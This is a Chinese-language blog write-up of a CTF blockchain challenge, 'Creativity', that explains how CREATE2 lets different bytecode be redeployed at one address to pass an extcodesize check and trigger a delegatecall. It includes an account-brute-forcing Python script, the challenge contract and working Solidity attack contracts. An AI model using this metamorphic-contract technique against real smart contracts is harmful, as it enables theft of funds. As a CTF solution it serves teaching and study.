Sissel's blog

【区块链】Hitcon2019-区块链-Creativity

字数统计: 1.2k阅读时长: 6 min
2020/01/20 Share

考察create2指令,Hitcon我认为最难的一个区块链题目,我是这个题目所有参赛队伍的唯一解!

出题人博客及题解:https://x9453.github.io/2020/01/04/Balsn-CTF-2019-Creativity/

create2 是EIP1014提出的新的asm opcode,其设计出来主要为了做 代理合约使用。

我们说在外部地址创建合约的时候,新的合约地址是可以算出来的。算出来的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import web3
import rlp

from web3.auto import w3
from concurrent.futures import ProcessPoolExecutor

def contract_addr(sender, nonce):
return web3.Web3.keccak(rlp.encode([sender,nonce]))[12:]

def get_exist_acc():
with open("acc-1.csv", "r") as f:
lines = f.readlines()
retl = lines[0].strip().split(',')
del lines[0]
with open("acc-1.csv", "w") as f:
for line in lines:
f.write(line)
return retl[0], retl[1]

def generate_acc():
while True:
acct = w3.eth.account.create()
sender = web3.Web3.toBytes(hexstr=acct.address)
if web3.Web3.toHex(contract_addr(sender,0))[-3:] == 'fff':
print(f"{acct.address},{web3.Web3.toHex(acct.privateKey)}")
return acct.address, web3.Web3.toHex(acct.privateKey)

def multi_process_entry():
fw = open('acc.csv', 'a')
acc_addr, acc_key = generate_acc()
fw.write(f"{acc_addr},{acc_key}\n")
fw.flush()
fw.close()

if __name__ =="__main__":

ex = ProcessPoolExecutor(max_workers=8)

fw = open('acc.csv', 'a')
for i in range(500):
ex.submit(multi_process_entry)
# if i % 100 == 0:
# print(f"Account {i}", end="\r")
# ret = ex.submit(generate_acc)
# ret.result()
# else:
# ex.submit(generate_acc)

其中,RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码,RLP已经成为以太坊中对对象进行序列化的主要编码方式。实现方式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def rlp_encode(input):
if isinstance(input,str):
if len(input) == 1 and chr(input) < 128: return input
else: return encode_length(len(input),128) + input
elif isinstance(input,list):
output = ''
for item in input: output += rlp_encode(item)
return encode_length(len(output),192) + output

def encode_length(L,offset):
if L < 56:
return chr(L + offset)
elif L < 256**8:
BL = to_binary(L)
return chr(len(BL) + offset + 55) + BL
else:
raise Exception("input too long")

def to_binary(x):
return '' if x == 0 else to_binary(int(x / 256)) + chr(x % 256)

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

限制了和题目合约交互的必须是 合约 require(size > 0 && size <= 4); 其中delegatecall可以把其他合约的代码拿过来,在自己的合约环境下执行。

正常来说攻击方式是这样的,题目合约为Q :

  1. 构造一个攻击合约 ATTACK,长度小于4【就算是return一个num,也至少要10个opcode。能做的事很少】
  2. 调用Q.check(ATTACK),变成Q.target = ATTACK
  3. 调用Q.execute(),执行一次 SendFlag 的命令。

部署合约的构建可以参照这个 https://ropsten.etherscan.io/address/0xb3ecef15f61572129089a9704b33d53f56991df8#code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
/**
*Submitted for verification at Etherscan.io on 2019-02-15
*/

// Jochem Brouwer <jochembrouwer96@gmail.com>
// Proof of concept: deploy a contract at the same address but with different bytecode
// Target address: 0x7973d5166b9526b9e4e63595293d6b895d2d4fe3
// Note: it is possible to replay this but if someone calls deployContract and deploys a contract without
// the possibility to selfdestruct then deployTEST1 and deployTEST2 will not work anymore (as in, they will not deploy their target code);
// of course it is still possible to replay it using a different seed than 0x1337

contract CREATE2DumpExternalBytecode {

constructor() public {
// read external bytecode

CREATE2Rewriter sender = CREATE2Rewriter(msg.sender);

bytes memory deployMe = sender.deployBytecode();

uint bytecodeLength = deployMe.length;

assembly {
// this RETURN opcode reads two memory pointers from stack: the memory start position and the length
// this normally puts the bytecode in the RETURNVALUE field of a CALL but instead on here this is the
// actual code which gets deployed =)
return (add(deployMe, 0x20), bytecodeLength)
}
}
}

contract HelloWorld1 {
string public Hello = "Hello world!";

function destroy() external {
selfdestruct(msg.sender);
}
}

contract HelloWorld2 {
string public Hello = "HACKED";

function destroy() external {
selfdestruct(msg.sender);
}
}

contract CREATE2Rewriter {
// CREATE2DumpExternalBytecode constructor code
bytes constant constructorCode = hex'6080604052348015600f57600080fd5b506000339050606081600160a060020a03166331d191666040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038186803b158015606b57600080fd5b505afa158015607e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101560a657600080fd5b81019080805164010000000081111560bd57600080fd5b8201602081018481111560cf57600080fd5b815164010000000081118282018710171560e857600080fd5b5050805190945092508291505060208301f3fe';
bytes public deployBytecode;

// HelloWorld1 / 2 bytecode which we want to deploy
bytes constant HelloWorld1_bytecode = hex'608060405260043610610045577c0100000000000000000000000000000000000000000000000000000000600035046383197ef0811461004a578063bcdfe0d514610061575b600080fd5b34801561005657600080fd5b5061005f6100eb565b005b34801561006d57600080fd5b506100766100ee565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100b0578181015183820152602001610098565b50505050905090810190601f1680156100dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b33ff5b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101745780601f1061014957610100808354040283529160200191610174565b820191906000526020600020905b81548152906001019060200180831161015757829003601f168201915b50505050508156fea165627a7a72305820d655aa9f37fe27daa8e218b7712a2e641f2c18b5c8a9911e69cfc1c8336640390029';
bytes constant HelloWorld2_bytecode = hex'608060405260043610610045577c0100000000000000000000000000000000000000000000000000000000600035046383197ef0811461004a578063bcdfe0d514610061575b600080fd5b34801561005657600080fd5b5061005f6100eb565b005b34801561006d57600080fd5b506100766100ee565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100b0578181015183820152602001610098565b50505050905090810190601f1680156100dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b33ff5b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101745780601f1061014957610100808354040283529160200191610174565b820191906000526020600020905b81548152906001019060200180831161015757829003601f168201915b50505050508156fea165627a7a72305820f54e3277e157b3ba1564c90516d898a6ac23e90c395e701e5f17b0d93069b8f90029';


// check address 0x7973d5166b9526b9e4e63595293d6b895d2d4fe3 on etherscan
// also check extcodeHashes on 0x7973d5166b9526b9e4e63595293d6b895d2d4fe3 index 0 and 1 - they are different
// (and they are not empty account hashes =) )
mapping(address => bytes32[]) public extcodeHashes;

function deployContract(bytes memory deployThis, bytes32 seed) public payable returns (address) {

address ret;
deployBytecode = deployThis;

bytes memory constructorCode_mem = constructorCode;

assembly {
ret := create2(callvalue, add(0x20, constructorCode_mem), mload(constructorCode_mem), seed)
}
bytes32 hash;
assembly {
hash := extcodehash(ret)
}

extcodeHashes[ret].push(hash);

return ret;
}

function deployTEST1() external returns (address) {
deployContract(HelloWorld1_bytecode, bytes32(bytes2(0x1337)));
}

function deployTEST2() external returns (address) {
deployContract(HelloWorld2_bytecode, bytes32(bytes2(0x1337)));
}


}

最终攻击的合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.10;

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

Congrats to @Sissel for being the only person who solved my two challenges during the CTF! I hope all of you enjoy this challenge and Balsn CTF.

我真棒!

CATALOG